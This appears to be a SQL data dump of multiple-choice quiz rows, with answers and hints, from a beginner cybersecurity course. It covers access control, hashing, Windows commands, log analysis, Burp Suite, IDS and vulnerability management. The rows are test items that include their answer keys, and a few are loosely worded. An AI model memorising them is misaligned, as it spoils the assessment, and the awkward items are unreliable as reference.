(5431, 41, 'Which fits \"Something You Have\"?', 2, 'Smart Card', 0, 'Physical token', '2025-12-26 20:58:02', '[\"PIN\", \"Password\", \"Smart Card\", \"Typing Speed\"]'),
(5432, 41, 'Using a Password and a Fingerprint is an example of what?', 3, 'MFA', 0, 'Multi-Factor', '2025-12-26 20:58:02', '[\"Single Sign On\", \"MFA\", \"Authorization\", \"Encryption\"]'),
(5433, 42, 'Which comes first?', 1, 'Authentication', 0, 'Who are you?', '2025-12-26 20:58:02', '[\"Authorization\", \"Authentication\", \"Accounting\", \"Auditing\"]'),
(5434, 42, 'Which model uses security labels (Top Secret)?', 2, 'MAC', 0, 'Mandatory', '2025-12-26 20:58:02', '[\"DAC\", \"RBAC\", \"MAC\", \"ABAC\"]'),
(5435, 42, 'The principle of giving minimum necessary rights is called?', 3, 'Least Privilege', 0, 'Minimal', '2025-12-26 20:58:02', '[\"Zero Trust\", \"Least Privilege\", \"Defense in Depth\", \"Separation of Duties\"]'),
(5436, 43, 'Which AAA component tracks user actions?', 1, 'Accounting', 0, 'Logs', '2025-12-26 20:58:02', '[\"Authentication\", \"Authorization\", \"Accounting\", \"Access\"]'),
(5437, 43, 'Preventing a user from checking or denying an action is called?', 2, 'Non-Repudiation', 0, 'Undeniable', '2025-12-26 20:58:02', '[\"Integrity\", \"Encryption\", \"Non-Repudiation\", \"Availability\"]'),
(5438, 43, 'What is a primary use of Accounting logs?', 3, 'Forensics', 0, 'Investigation', '2025-12-26 20:58:02', '[\"Speed\", \"Encryption\", \"Forensics\", \"Routing\"]'),
(5439, 44, 'Which encryption uses the SAME key for locking and unlocking?', 1, 'Symmetric', 0, 'Single Key', '2025-12-26 20:58:02', '[\"Asymmetric\", \"Symmetric\", \"Hashing\", \"Public Key\"]'),
(5440, 44, 'Which algorithm is the current gold standard for symmetric encryption?', 2, 'AES', 0, 'Advanced Encryption Standard', '2025-12-26 20:58:02', '[\"DES\", \"AES\", \"MD5\", \"RSA\"]'),
(5441, 44, 'What is Plaintext?', 3, 'Readable data', 0, 'Unencrypted', '2025-12-26 20:58:02', '[\"Ciphertext\", \"Hashed data\", \"Readable data\", \"Key\"]'),
(5442, 45, 'Is hashing reversible?', 1, 'No', 0, 'One-way function', '2025-12-26 20:58:02', '[\"Yes\", \"No\", \"Only with a key\", \"Only for admins\"]'),
(5443, 45, 'What is the primary goal of hashing?', 2, 'Integrity', 0, 'Fingerprinting', '2025-12-26 20:58:02', '[\"Confidentiality\", \"Availability\", \"Integrity\", \"Speed\"]'),
(5444, 45, 'Which hashing algorithm is considered secure today?', 3, 'SHA-256', 0, 'Standard', '2025-12-26 20:58:02', '[\"MD5\", \"SHA-1\", \"SHA-256\", \"ROT13\"]'),
(5445, 46, 'What is another name for Defense in Depth?', 1, 'Layered Security', 0, 'Onion', '2025-12-26 20:58:02', '[\"Single Point of Failure\", \"Layered Security\", \"Zero Trust\", \"Active Defense\"]'),
(5446, 46, 'Which layer involves educating users?', 2, 'Human', 0, 'Training', '2025-12-26 20:58:02', '[\"Physical\", \"Network\", \"Human\", \"Application\"]'),
(5447, 46, 'Why use multiple layers?', 3, 'Redundancy', 0, 'If one fails', '2025-12-26 20:58:02', '[\"Cost savings\", \"Redundancy\", \"Simplicity\", \"Speed\"]'),
(5448, 47, 'What fundamental triad models information security?', 1, 'CIA', 0, 'Confidentiality Integrity Availability', '2025-12-26 20:58:02', '[\"ABC\", \"CIA\", \"RGB\", \"SSH\"]'),
(5449, 47, 'Which element of CIA ensures systems are up and running?', 2, 'Availability', 0, 'Uptime', '2025-12-26 20:58:02', '[\"Confidentiality\", \"Integrity\", \"Availability\", \"Authentication\"]'),
(5450, 47, 'Fingerprints and Retina scans are examples of?', 3, 'Biometrics', 0, 'Something you are', '2025-12-26 20:58:02', '[\"Passwords\", \"Tokens\", \"Biometrics\", \"Smart Cards\"]'),
(5451, 47, 'Identifying a user is called?', 4, 'Authentication', 0, 'AuthN', '2025-12-26 20:58:02', '[\"Authorization\", \"Accounting\", \"Authentication\", \"Access\"]'),
(5452, 47, 'Determining what a user is allowed to do is?', 5, 'Authorization', 0, 'AuthZ', '2025-12-26 20:58:02', '[\"Authentication\", \"Accounting\", \"Authorization\", \"Auditing\"]'),
(5453, 47, 'Which access control model uses \"Top Secret\" labels?', 6, 'MAC', 0, 'Mandatory', '2025-12-26 20:58:02', '[\"DAC\", \"MAC\", \"RBAC\", \"Rule-Based\"]'),
(5454, 47, 'Which access control model relies on the data owner?', 7, 'DAC', 0, 'Discretionary', '2025-12-26 20:58:02', '[\"MAC\", \"DAC\", \"RBAC\", \"ABAC\"]'),
(5455, 47, 'Tracking user activities in logs is known as?', 8, 'Accounting', 0, 'The 3rd A', '2025-12-26 20:58:02', '[\"Authentication\", \"Authorization\", \"Accounting\", \"Analysis\"]'),
(5456, 47, 'Which type of encryption uses a Public and Private key?', 9, 'Asymmetric', 0, 'Two keys', '2025-12-26 20:58:03', '[\"Symmetric\", \"Asymmetric\", \"Hashing\", \"Linear\"]'),
(5457, 47, 'Which type of encryption uses a single shared key?', 10, 'Symmetric', 0, 'Faster', '2025-12-26 20:58:03', '[\"Asymmetric\", \"Symmetric\", \"Hashing\", \"Private\"]'),
(5458, 47, 'Which function is One-Way and non-reversible?', 11, 'Hashing', 0, 'Fingerprint', '2025-12-26 20:58:03', '[\"Encryption\", \"Encoding\", \"Hashing\", \"Compression\"]'),
(5459, 47, 'Which is a secure hashing algorithm?', 12, 'SHA-256', 0, 'Modern', '2025-12-26 20:58:03', '[\"MD5\", \"SHA-1\", \"SHA-256\", \"CRC32\"]'),
(5460, 47, 'What is the best defense against social engineering?', 13, 'User Training', 0, 'Human layer', '2025-12-26 20:58:03', '[\"Firewalls\", \"Encryption\", \"User Training\", \"Biometrics\"]'),
(5461, 47, 'Layering multiple security controls is called?', 14, 'Defense in Depth', 0, 'Onion', '2025-12-26 20:58:03', '[\"Offense in Depth\", \"Defense in Depth\", \"Single Defense\", \"Zero Security\"]'),
(5462, 47, 'What does Non-Repudiation provide?', 15, 'Proof of origin', 0, 'Cannot deny', '2025-12-26 20:58:03', '[\"Privacy\", \"Proof of origin\", \"Speed\", \"Availability\"]'),
(5463, 47, 'Which helps protect Data Integrity?', 16, 'Hashing', 0, 'Check change', '2025-12-26 20:58:03', '[\"Encryption\", \"Hashing\", \"Backups\", \"Firewalls\"]'),
(5464, 47, 'What does MFA stand for?', 17, 'Multi-Factor Authentication', 0, '2+ factors', '2025-12-26 20:58:03', '[\"Multi-Factor Authorization\", \"Multi-Function Access\", \"Multi-Factor Authentication\", \"Main Factor Auth\"]'),
(5465, 47, 'Is a password \"Something you have\"?', 18, 'No', 0, 'Something you know', '2025-12-26 20:58:03', '[\"Yes\", \"No\", \"Depends\", \"Sometimes\"]'),
(5466, 47, 'Which layer of Defense in Depth includes Firewalls?', 19, 'Network', 0, 'Perimeter', '2025-12-26 20:58:03', '[\"Physical\", \"Network\", \"Human\", \"Data\"]'),
(5467, 47, 'Which is NOT a pillar of the CIA triad?', 20, 'Authorization', 0, 'Not C-I-A', '2025-12-26 20:58:03', '[\"Confidentiality\", \"Integrity\", \"Availability\", \"Authorization\"]'),
(5483, 48, 'Which command lists files?', 1, 'dir', 0, 'Directory', '2025-12-26 21:05:12', '[\"ls\", \"list\", \"dir\", \"show\"]'),
(5484, 48, 'How do you enter the \"Documents\" folder?', 2, 'cd Documents', 0, 'Change Directory', '2025-12-26 21:05:12', '[\"dir Documents\", \"cd Documents\", \"enter Documents\", \"go Documents\"]'),
(5485, 48, 'What does \"cd ..\" do?', 3, 'Go back one level', 0, 'Parent directory', '2025-12-26 21:05:12', '[\"Deletes folder\", \"Go back one level\", \"Go to root\", \"Nothing\"]'),
(5486, 49, 'Which command reads a file content?', 1, 'type', 0, 'Type out', '2025-12-26 21:05:12', '[\"read\", \"cat\", \"type\", \"open\"]'),
(5487, 49, 'If you want to read \"note.txt\", what do you type?', 2, 'type note.txt', 0, 'Command + Arg', '2025-12-26 21:05:12', '[\"read note.txt\", \"type note.txt\", \"cat note.txt\", \"open note.txt\"]'),
(5488, 49, 'Is \"cat\" a standard Windows command?', 3, 'No', 0, 'type is used', '2025-12-26 21:05:12', '[\"Yes\", \"No\", \"Maybe\", \"Only in PowerShell\"]'),
(5489, 50, 'Which command shows the computer name?', 1, 'hostname', 0, 'Host', '2025-12-26 21:05:12', '[\"name\", \"hostname\", \"computername\", \"id\"]'),
(5490, 50, 'Which command shows the current user?', 2, 'whoami', 0, 'Identity', '2025-12-26 21:05:12', '[\"user\", \"me\", \"whoami\", \"id\"]'),
(5491, 50, 'Why is \"whoami\" important?', 3, 'To check permissions', 0, 'Privilege level', '2025-12-26 21:05:12', '[\"To check time\", \"To check IP\", \"To check permissions\", \"To list files\"]'),
(5492, 51, 'Which command shows IP details on Windows?', 1, 'ipconfig', 0, 'IP Config', '2025-12-26 21:05:12', '[\"ifconfig\", \"ipconfig\", \"ip a\", \"net config\"]'),
(5493, 51, 'What does Default Gateway usually represent?', 2, 'The Router', 0, 'Exit point', '2025-12-26 21:05:12', '[\"The PC\", \"The Router\", \"The Server\", \"The DNS\"]'),
(5494, 51, 'What is a common local IP starting with?', 3, '192.168', 0, 'Private range', '2025-12-26 21:05:12', '[\"8.8.8\", \"192.168\", \"1.1.1\", \"255.255\"]'),
(5495, 52, 'Which command lists running processes?', 1, 'tasklist', 0, 'List tasks', '2025-12-26 21:05:12', '[\"ps\", \"tasklist\", \"proclist\", \"top\"]'),
(5496, 52, 'What does PID stand for?', 2, 'Process ID', 0, 'Identifier', '2025-12-26 21:05:12', '[\"Program ID\", \"Process ID\", \"Personal ID\", \"Path ID\"]'),
(5497, 52, 'Which switch is used to kill by PID?', 3, '/PID', 0, 'Switch', '2025-12-26 21:05:12', '[\"-p\", \"/PID\", \"-id\", \"--pid\"]'),
(5522, 54, 'What is the severity level of the Challenge Log?', 1, 'ERROR', 0, 'Keyword after timestamp', '2025-12-26 21:12:59', '[\"INFO\", \"DEBUG\", \"ERROR\", \"FATAL\"]'),
(5523, 54, 'Which user was involved in the event?', 2, 'db_admin', 0, 'User field', '2025-12-26 21:12:59', '[\"alice\", \"admin\", \"db_admin\", \"root\"]'),
(5524, 54, 'What database was being accessed?', 3, 'users_db', 0, 'Accessing...', '2025-12-26 21:12:59', '[\"auth_db\", \"users_db\", \"main_db\", \"logs\"]'),
(5525, 55, 'How many failed attempts are shown?', 1, '2', 0, 'Count \"Failed\"', '2025-12-26 21:12:59', '[\"1\", \"2\", \"3\", \"0\"]'),
(5526, 55, 'Which user successfully logged in?', 2, 'root', 0, 'Look for \"Accepted\"', '2025-12-26 21:12:59', '[\"guest\", \"admin\", \"root\", \"user\"]'),
(5527, 55, 'What port is the SSH server running on?', 3, '2222', 0, 'port ...', '2025-12-26 21:12:59', '[\"22\", \"80\", \"2222\", \"443\"]'),
(5528, 56, 'What HTTP method was used in the challenge?', 1, 'POST', 0, 'First word inside quotes', '2025-12-26 21:12:59', '[\"GET\", \"POST\", \"PUT\", \"HEAD\"]'),
(5529, 56, 'What status code was returned?', 2, '401', 0, 'Number after HTTP version', '2025-12-26 21:12:59', '[\"200\", \"404\", \"401\", \"500\"]'),
(5530, 56, 'What page was requested?', 3, '/admin/login.php', 0, 'Path', '2025-12-26 21:12:59', '[\"/index.html\", \"/admin/login.php\", \"/login\", \"/home\"]'),
(5531, 57, 'What is the specific failure reason?', 1, 'Account locked out', 0, 'Read Failure Reason', '2025-12-26 21:12:59', '[\"Bad password\", \"Account locked out\", \"Unknown user\", \"Wrong domain\"]'),
(5532, 57, 'What is the Event ID?', 2, '4625', 0, 'Top line', '2025-12-26 21:12:59', '[\"4624\", \"4625\", \"4672\", \"1000\"]'),
(5533, 57, 'Which IP address initiated the request?', 3, '10.0.0.88', 0, 'Source Network Address', '2025-12-26 21:12:59', '[\"127.0.0.1\", \"10.0.0.88\", \"192.168.1.1\", \"0.0.0.0\"]'),
(5534, 58, 'What SQL command is visible in the URL?', 1, 'UNION SELECT', 0, 'Keyword', '2025-12-26 21:12:59', '[\"DROP TABLE\", \"UNION SELECT\", \"UPDATE\", \"INSERT\"]'),
(5535, 58, 'What does %27 represent in URL encoding?', 2, 'Single Quote (\')', 0, 'Hex for quote', '2025-12-26 21:12:59', '[\"Space\", \"Single Quote (\')\", \"Double Quote (\\\")\", \"Percent Sign\"]'),
(5536, 58, 'Did the server block this request?', 3, 'No (Status 200)', 0, 'Status code', '2025-12-26 21:12:59', '[\"Yes (403)\", \"No (Status 200)\", \"Yes (500)\", \"Maybe\"]'),
(5537, 59, 'What describes the destination port 3389?', 1, 'RDP (Remote Desktop)', 0, 'Common Port', '2025-12-26 21:12:59', '[\"SSH\", \"HTTP\", \"RDP (Remote Desktop)\", \"FTP\"]'),
(5538, 59, 'What flag indicates a connection attempt?', 2, 'SYN', 0, 'TCP Flag', '2025-12-26 21:12:59', '[\"ACK\", \"SYN\", \"FIN\", \"RST\"]'),
(5539, 59, 'Was the connection allowed?', 3, 'No (DROP)', 0, 'Action', '2025-12-26 21:12:59', '[\"Yes (ACCEPT)\", \"No (DROP)\", \"Logged only\", \"Unknown\"]'),
(5540, 60, 'What malicious command is being downloaded?', 1, 'malware.sh', 0, 'File name', '2025-12-26 21:12:59', '[\"virus.exe\", \"malware.sh\", \"test.txt\", \"config.php\"]'),
(5541, 60, 'What tool is used to download the file?', 2, 'wget', 0, 'Command', '2025-12-26 21:12:59', '[\"curl\", \"wget\", \"cat\", \"ping\"]'),
(5542, 60, 'What character is encoded as %7C?', 3, 'Pipe (|)', 0, 'Separator', '2025-12-26 21:12:59', '[\"Semicolon (;)\", \"Pipe (|)\", \"Ampersand (&)\", \"Space\"]'),
(5543, 61, 'What does the decoded command try to do?', 1, 'Download a script', 0, 'DownloadString', '2025-12-26 21:12:59', '[\"Delete files\", \"Download a script\", \"Encrypt drive\", \"Add user\"]'),
(5544, 61, 'What command is executed after downloading?', 2, 'IEX (Invoke-Expression)', 0, 'First word decoded', '2025-12-26 21:12:59', '[\"cmd.exe\", \"IEX (Invoke-Expression)\", \"Start-Process\", \"Write-Host\"]'),
(5545, 61, 'What parameter indicates the command is encoded?', 3, '-Enc', 0, 'Short for -EncodedCommand', '2025-12-26 21:12:59', '[\"-NoP\", \"-NonI\", \"-W\", \"-Enc\"]'),
(5546, 72, 'What describes a Forward Proxy?', 1, 'Acts for the client', 0, 'School/Work proxy', '2025-12-26 21:17:42', '[\"Acts for the server\", \"Acts for the client\", \"Is a VPN\", \"Is a firewall\"]'),
(5547, 72, 'What is the main role of an Intercepting Proxy?', 2, 'View/Modify traffic', 0, 'MitM', '2025-12-26 21:17:42', '[\"Speed up internet\", \"View/Modify traffic\", \"Encrypt data\", \"Host websites\"]'),
(5548, 72, 'What typically uses a Reverse Proxy?', 3, 'High traffic servers', 0, 'Load balancing', '2025-12-26 21:17:42', '[\"Home users\", \"High traffic servers\", \"Laptops\", \"Printers\"]'),
(5549, 73, 'What is Burp Suite primarily used for?', 1, 'Web Security Testing', 0, 'Hacking apps', '2025-12-26 21:17:42', '[\"Network Scanning\", \"Web Security Testing\", \"Password Management\", \"Virus Scanning\"]'),
(5550, 73, 'Which component allows modifying and re-sending individual requests?', 2, 'Repeater', 0, 'Repeat', '2025-12-26 21:17:42', '[\"Proxy\", \"Scanner\", \"Repeater\", \"Intruder\"]'),
(5551, 73, 'Which component is used for automated attacks?', 3, 'Intruder', 0, 'Brute force', '2025-12-26 21:17:42', '[\"Repeater\", \"Intruder\", \"Decoder\", \"Comparer\"]'),
(5552, 74, 'What happens when \"Intercept is On\"?', 1, 'Requests hang/pause', 0, 'Waiting for you', '2025-12-26 21:17:42', '[\"Requests go faster\", \"Requests hang/pause\", \"Browser closes\", \"Server errors\"]'),
(5553, 74, 'Why would you modify the User-Agent header?', 2, 'Pretend to be a specific device', 0, 'Mobile testing', '2025-12-26 21:17:42', '[\"To hack wifi\", \"Pretend to be a specific device\", \"To clear cache\", \"To speed up login\"]'),
(5554, 74, 'What allows you to send the paused request to the server?', 3, 'Forward button', 0, 'Action', '2025-12-26 21:17:42', '[\"Drop button\", \"Forward button\", \"Stop button\", \"Delete button\"]'),
(5555, 75, 'Why use Repeater instead of the browser?', 1, 'Faster iteration', 0, 'Testing variations', '2025-12-26 21:17:42', '[\"Better graphics\", \"Faster iteration\", \"Browser is blocked\", \"It is automatic\"]'),
(5556, 75, 'What does %20 represent in URL encoding?', 2, 'Space', 0, 'Whitespace', '2025-12-26 21:17:42', '[\"Tab\", \"Enter\", \"Space\", \"Slash\"]'),
(5557, 75, 'What tool converts Base64 back to text?', 3, 'Decoder', 0, 'Decode', '2025-12-26 21:17:42', '[\"Encoder\", \"Decoder\", \"Translator\", \"Compiler\"]'),
(5558, 76, 'What happens in a proxy chain?', 1, 'Traffic hops through multiple nodes', 0, 'A->B->C', '2025-12-26 21:17:42', '[\"Traffic is blocked\", \"Traffic hops through multiple nodes\", \"Traffic is deleted\", \"Traffic is faster\"]'),
(5559, 76, 'What is the main difference between Proxy and VPN?', 2, 'VPN encrypts entire device traffic', 0, 'Scope', '2025-12-26 21:17:42', '[\"Proxy is faster\", \"VPN is free\", \"VPN encrypts entire device traffic\", \"Proxy is hardware\"]'),
(5560, 76, 'If you chain A->B->C, who does the Target see?', 3, 'Proxy C', 0, 'The last one', '2025-12-26 21:17:42', '[\"You\", \"Proxy A\", \"Proxy B\", \"Proxy C\"]'),
(5693, 77, 'Which system is typically deployed \"Inline\"?', 1, 'IPS', 0, 'Intrusion Prevention', '2025-12-26 22:11:01', '[\"IDS\", \"IPS\", \"SIEM\", \"TAP\"]'),
(5694, 77, 'What happens if an Out-of-Band IDS crashes?', 2, 'Traffic continues (Fail Open)', 0, 'Loss of visibility only', '2025-12-26 22:11:01', '[\"Network outage\", \"Traffic continues (Fail Open)\", \"Firewall locks down\", \"Servers reboot\"]'),
(5695, 77, 'Why is IPS riskier than IDS?', 3, 'Can block legitimate traffic', 0, 'Business interruption', '2025-12-26 22:11:01', '[\"It is more expensive\", \"It is slower\", \"Can block legitimate traffic\", \"It uses more power\"]'),
(5696, 78, 'Which detection method is best for known threats?', 1, 'Signature-Based', 0, 'Fast and accurate', '2025-12-26 22:11:01', '[\"Anomaly-Based\", \"Signature-Based\", \"Heuristic\", \"AI\"]'),
(5697, 78, 'What is the main advantage of Anomaly detection?', 2, 'Detecting Zero-Days', 0, 'Unknown threats', '2025-12-26 22:11:01', '[\"Speed\", \"Low cost\", \"Detecting Zero-Days\", \"Low false positives\"]'),
(5698, 78, 'What triggers an anomaly alert?', 3, 'Deviation from baseline', 0, 'Unusual behavior', '2025-12-26 22:11:01', '[\"A signature match\", \"A blacklisted IP\", \"Deviation from baseline\", \"A specific file hash\"]'),
(5699, 79, 'What is the major blind spot of NIDS today?', 1, 'Encrypted Traffic (HTTPS)', 0, 'Encryption', '2025-12-26 22:11:01', '[\"Speed\", \"Encrypted Traffic (HTTPS)\", \"UDP Packets\", \"IPv6\"]'),
(5700, 79, 'Where does HIDS sit in the encryption chain?', 2, 'After decryption', 0, 'On the host', '2025-12-26 22:11:01', '[\"Before encryption\", \"After decryption\", \"In the router\", \"On the switch\"]'),
(5701, 79, 'Which capability is unique to HIDS?', 3, 'File Integrity Monitoring', 0, 'FIM', '2025-12-26 22:11:01', '[\"Packet Capture\", \"Flow Analysis\", \"File Integrity Monitoring\", \"DDoS Protection\"]'),
(5702, 81, 'How does Zeek primarily store data?', 1, 'Transaction Logs', 0, 'Metadata', '2025-12-26 22:11:01', '[\"Full Packet Capture\", \"Transaction Logs\", \"SQL Database\", \"Binary Blobs\"]'),
(5703, 81, 'Which log file contains the volume of data transferred?', 2, 'conn.log', 0, 'Connection', '2025-12-26 22:11:01', '[\"files.log\", \"conn.log\", \"http.log\", \"stats.log\"]'),
(5704, 81, 'Can Zeek detect anomalies in encrypted traffic?', 3, 'Yes (via metadata)', 0, 'Byte counts', '2025-12-26 22:11:01', '[\"No\", \"Yes (via metadata)\", \"Only if decrypted\", \"Never\"]'),
(5705, 82, 'What is the best way to tell if an attack succeeded?', 1, 'Check the Server Response', 0, 'Response Code', '2025-12-26 22:11:01', '[\"Check the Source IP\", \"Check the Server Response\", \"Check the Timestamp\", \"Check the Rule ID\"]'),
(5706, 82, 'If a payload appears in an email body triggering an alert, it is likely a?', 2, 'False Positive', 0, 'Context mismatch', '2025-12-26 22:11:01', '[\"True Positive\", \"False Positive\", \"Zero Day\", \"Insider Threat\"]'),
(5707, 82, 'A \"404 Not Found\" response generally indicates?', 3, 'Attempt Failed', 0, 'Target does not exist', '2025-12-26 22:11:01', '[\"Successful Hack\", \"Attempt Failed\", \"Server Offline\", \"IDS Failure\"]'),
(5708, 83, 'What is the standard solution for internal scanners triggering alerts?', 1, 'Whitelisting', 0, 'Ignoring IP', '2025-12-26 22:11:01', '[\"Blocking them\", \"Whitelisting\", \"Counter-attacking\", \"Disabling the IDS\"]'),
(5709, 83, 'What technique limits alerts to \"X times per minute\"?', 2, 'Thresholding', 0, 'Suppression', '2025-12-26 22:11:01', '[\"Whitelisting\", \"Thresholding\", \"Dropping\", \"Sampling\"]'),
(5710, 83, 'Why might P2P updates trigger alerts?', 3, 'Look like Botnet traffic', 0, 'Behavior', '2025-12-26 22:11:01', '[\"They are viruses\", \"Look like Botnet traffic\", \"They are unencrypted\", \"They are slow\"]'),
(5711, 84, 'What is the first step before you can scan?', 1, 'Discovery / Asset Management', 0, 'Knowing what to scan', '2025-12-26 22:11:01', '[\"Remediation\", \"Prioritization\", \"Discovery / Asset Management\", \"Reporting\"]'),
(5712, 84, 'Why is \"Verification\" necessary after patching?', 2, 'To ensure patch was applied correctly', 0, 'Trust but verify', '2025-12-26 22:11:01', '[\"It isn\'t\", \"To ensure patch was applied correctly\", \"To double billing\", \"To slow down IT\"]'),
(5713, 84, 'What is \"Shadow IT\"?', 3, 'Unknown/Unmanaged assets', 0, 'Hidden servers', '2025-12-26 22:11:01', '[\"Hacker tools\", \"Unknown/Unmanaged assets\", \"Dark mode\", \"VPNs\"]'),
(5714, 85, 'Which scan type is less accurate finding missing patches?', 1, 'Unauthenticated', 0, 'External', '2025-12-26 22:11:01', '[\"Authenticated\", \"Unauthenticated\", \"Agent-based\", \"Internal\"]'),
(5715, 85, 'How does an authenticated scan check for patches?', 2, 'Logs in and checks files/registry', 0, 'Commands', '2025-12-26 22:11:01', '[\"Guesses\", \"Checks headers\", \"Logs in and checks files/registry\", \"Port scan\"]'),
(5716, 85, 'What is a common issue with \"Banner Grabbing\"?', 3, 'Banners can act or lie', 0, 'Inaccurate', '2025-12-26 22:11:01', '[\"It causes crashes\", \"Banners can act or lie\", \"It requires passwords\", \"It is too slow\"]'),
(5717, 86, 'What does \"AV:N\" stand for?', 1, 'Attack Vector: Network', 0, 'Remote', '2025-12-26 22:11:01', '[\"Attack Vector: None\", \"Attack Vector: Network\", \"Anti-Virus: None\", \"Admin View: No\"]'),
(5718, 86, 'Which metric indicates user interaction is NOT needed?', 2, 'UI:N', 0, 'Automatic', '2025-12-26 22:11:01', '[\"UI:R\", \"UI:N\", \"PR:N\", \"AV:L\"]'),
(5719, 86, 'A \"Scope Change\" (S:C) usually implies what?', 3, 'Breaking out of sandbox/VM', 0, 'Higher impact', '2025-12-26 22:11:01', '[\"Local only\", \"Breaking out of sandbox/VM\", \"Lower score\", \"Network only\"]'),
(5720, 87, 'Why should you place local scanners in each network segment?', 1, 'To avoid scanning through firewalls', 0, 'Efficiency', '2025-12-26 22:11:01', '[\"To waste money\", \"To avoid scanning through firewalls\", \"Because Nessus requires it\", \"To use more IPs\"]'),
(5721, 87, 'Which scan policy is best for solely finding live hosts?', 2, 'Host Discovery', 0, 'Ping sweep', '2025-12-26 22:11:01', '[\"Basic Network Scan\", \"Web App Scan\", \"Host Discovery\", \"Malware Scan\"]'),
(5722, 87, 'Why avoid scanning SCADA/Printers with aggressive policies?', 3, 'They are fragile and can crash', 0, 'Stability', '2025-12-26 22:11:01', '[\"They have no vulns\", \"They are fragile and can crash\", \"They are strictly read-only\", \"Nessus cannot scan them\"]'),
(5723, 88, 'If \"Exploit Available\" is Yes, what does that mean?', 1, 'Hackable tools exist publicly', 0, 'Urgent', '2025-12-26 22:11:01', '[\"It is theoretical\", \"Hackable tools exist publicly\", \"It is a zero-day\", \"It involves money\"]'),
(5724, 88, 'What does VPR add to the standard CVSS score?', 2, 'Real-world threat context', 0, 'Intel', '2025-12-26 22:11:01', '[\"Nothing\", \"Real-world threat context\", \"User opinion\", \"Randomness\"]'),
(5725, 88, 'What is the first filter you should typically apply?', 3, 'Severity (Crit/High)', 0, 'Triage', '2025-12-26 22:11:01', '[\"Low/Info\", \"Severity (Crit/High)\", \"Port 80\", \"Name\"]'),
(5726, 89, 'What is a \"Pilot\" group in patching?', 1, 'A small test subset of production', 0, 'Canary', '2025-12-26 22:11:01', '[\"The IT team\", \"A small test subset of production\", \"The CEO\", \"The printers\"]'),
(5727, 89, 'Why might you skip testing for an \"Emergency\" patch?', 2, 'Immediate exploitation risk', 0, 'Zero Day', '2025-12-26 22:11:01', '[\"Too lazy\", \"Immediate exploitation risk\", \"Patches never fail\", \"Vendor guarantee\"]'),
(5728, 89, 'What allows you to recover if a patch kills a server?', 3, 'Snapshots / Rollback Plan', 0, 'Backup', '2025-12-26 22:11:01', '[\"Reinstalling OS\", \"Snapshots / Rollback Plan\", \"SLA\", \"Vulnerability Scan\"]'),
(5729, 90, 'Who maintains the CVE list?', 1, 'MITRE', 0, 'Organization', '2025-12-26 22:11:01', '[\"Microsoft\", \"MITRE\", \"Google\", \"NSA\"]'),
(5730, 90, 'What is the difference between CVE and CWE?', 2, 'CVE is specific instance, CWE is category', 0, 'Instance vs Class', '2025-12-26 22:11:01', '[\"They are the same\", \"CVE is for Windows, CWE for Linux\", \"CVE is specific instance, CWE is category\", \"CWE is a score\"]'),
(5731, 90, 'What database adds scoring (CVSS) to the CVEs?', 3, 'NVD', 0, 'National Vuln DB', '2025-12-26 22:11:01', '[\"MITRE\", \"OWASP\", \"NVD\", \"CISA\"]'),
(5732, 91, 'Which strategy involves shutting down a risky system?', 1, 'Avoidance', 0, 'Stop activity', '2025-12-26 22:11:01', '[\"Acceptance\", \"Transference\", \"Avoidance\", \"Mitigation\"]'),
(5733, 91, 'Buying insurance is an example of?', 2, 'Transference', 0, 'Moving risk', '2025-12-26 22:11:01', '[\"Acceptance\", \"Avoidance\", \"Transference\", \"Patching\"]'),
(5734, 91, 'If you Accept a risk, what is usually required?', 3, 'Compensating Controls / Sign-off', 0, 'Paperwork', '2025-12-26 22:11:01', '[\"Nothing\", \"Compensating Controls / Sign-off\", \"Patching\", \"Ignoring it\"]'),
(5735, 92, 'Does DAST require source code access?', 1, 'No (Black Box)', 0, 'Dynamic', '2025-12-26 22:11:01', '[\"Yes\", \"No (Black Box)\", \"Sometimes\", \"Only for Javascript\"]'),
(5736, 92, 'Which testing method happens \"running\" against a live app?', 2, 'DAST', 0, 'Dynamic', '2025-12-26 22:11:01', '[\"SAST\", \"DAST\", \"Unit Testing\", \"Linting\"]'),
(5737, 92, 'Why is DAST considered \"Technology Agnostic\"?', 3, 'HTTP is universal', 0, 'Attacks inputs', '2025-12-26 22:11:01', '[\"It knows all languages\", \"HTTP is universal\", \"It compiles code\", \"It uses AI\"]'),
(5738, 93, 'Which vulnerability category covers IDOR (Insecure Direct Object Reference)?', 1, 'Broken Access Control', 0, 'Permissions', '2025-12-26 22:11:01', '[\"Injection\", \"Broken Access Control\", \"Cryptographic Failures\", \"Logging Failures\"]'),
(5739, 93, 'What is the best defense against Injection?', 2, 'Parameterized Queries', 0, 'Prepared Statements', '2025-12-26 22:11:01', '[\"Firewalls\", \"Parameterized Queries\", \"Encryption\", \"Antivirus\"]'),
(5740, 93, 'Storing passwords in plain text falls under which category?', 3, 'Cryptographic Failures', 0, 'Crypto', '2025-12-26 22:11:01', '[\"Injection\", \"Cryptographic Failures\", \"Access Control\", \"Design Flaws\"]'),
(5741, 94, 'What feature prevents ZAP from attacking the entire internet?', 1, 'Scope / Contexts', 0, 'Limits', '2025-12-26 22:11:01', '[\"Firewall\", \"Scope / Contexts\", \"VPN\", \"Cables\"]'),
(5742, 94, 'What is the ZAP HUD?', 2, 'Browser overlay for testing', 0, 'UI', '2025-12-26 22:11:01', '[\"A report format\", \"Browser overlay for testing\", \"A CI pipeline\", \"A virus\"]'),
(5743, 94, 'Can ZAP be integrated into CI/CD pipelines?', 3, 'Yes (Headless/Docker)', 0, 'Automation', '2025-12-26 22:11:01', '[\"No, GUI only\", \"Yes (Headless/Docker)\", \"Only on Windows\", \"Cost extra\"]'),
(5744, 95, 'Why do traditional spiders fail on React apps?', 1, 'Content loads via JS/DOM', 0, 'SPA', '2025-12-26 22:11:01', '[\"React is secure\", \"Content loads via JS/DOM\", \"URLs are encrypted\", \"Firewalls block them\"]'),
(5745, 95, 'What does an AJAX spider use to crawl?', 2, 'A headless browser', 0, 'Rendering', '2025-12-26 22:11:01', '[\"Curl\", \"Wget\", \"A headless browser\", \"Guessing\"]'),
(5746, 95, 'How might an attacker use robots.txt?', 3, 'To find hidden/disallowed paths', 0, 'Recon', '2025-12-26 22:11:01', '[\"To obey rules\", \"To find hidden/disallowed paths\", \"To crash server\", \"To find emails\"]'),
(5747, 96, 'Why is Active Scanning risky in Production?', 1, 'Can delete data or cause DoS', 0, 'Destructive', '2025-12-26 22:11:01', '[\"It is slow\", \"Can delete data or cause DoS\", \"It costs money\", \"It is illegal in Prod\"]'),
